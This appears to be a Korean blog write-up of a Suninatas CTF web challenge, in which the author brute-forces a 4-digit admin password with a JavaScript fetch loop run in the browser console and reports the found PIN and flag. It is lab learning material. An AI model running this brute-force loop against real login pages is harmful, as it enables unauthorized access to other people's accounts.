
로그인 창인 거 같다 SQL? 문제인가? 하고 넣어봤지만 아무 일도 일어나지 않았다.
소스코드를 열어보았다.

힌트가 있었다 ID는 admin인 거 같고 password는 0~9999 사이 값 랜덤인 거 같다.
즉, 브루트포스(Brute force) 문제인 거 같다.
인간이 pw를 0~9999까지 치면 지치고 힘들 것이다. 때문에 자동화튤을 만들어 대입할 것이다. 또한
소스코드에 친절하게 파라미터 ID, PW 변수 값을 획득할 수 있었다.
내가 쓴 자동화튤은 이렇다.
(async () => {
const url = ""; // URL 넣기
const failKeyword = "Password Incorrect!";
for (let i = 0; i <= 9999; i++) {
const pw = i.toString().padStart(4, "0");
console.log(`Trying pw = ${pw}`);
const res = await fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: `id=admin&pw=${pw}`
});
const text = await res.text();
// 실패 문구가 없으면 성공으로 판단
if (!text.includes(failKeyword)) {
console.log("🎉 SUCCESS FOUND!");
console.log("Password:", pw);
console.log("Response:");
console.log(text);
break;
}
}
})();
개발자도구 console에 집어넣고 돌린다 그러면 0~9999까지 차례대로 대입해 보는데 맞는 숫자에 딱 걸리면 SUCCESS FOUND! 문구가 뜨도록 설계하였다.

7707이라는 게 알았고 뒤에 스크립트 alert(코드)가 떴다.
그래서 로그인창에 ID: admin PW:7707을 쳤더니

flag값을 얻을 수 있었다.

'CTF > 써니나타스' 카테고리의 다른 글
| 써니나타스[Web-23 문제풀이] (0) | 2025.12.04 |
|---|---|
| 써니나타스[Web-22 문제풀이] (0) | 2025.11.20 |
| 써니나타스[Web-7 문제풀이] (0) | 2025.11.17 |
| 써니나타스 [Web-6 문제풀이] (0) | 2025.11.14 |
| 써니나타스 [Web-5 문제풀이] (0) | 2025.11.12 |
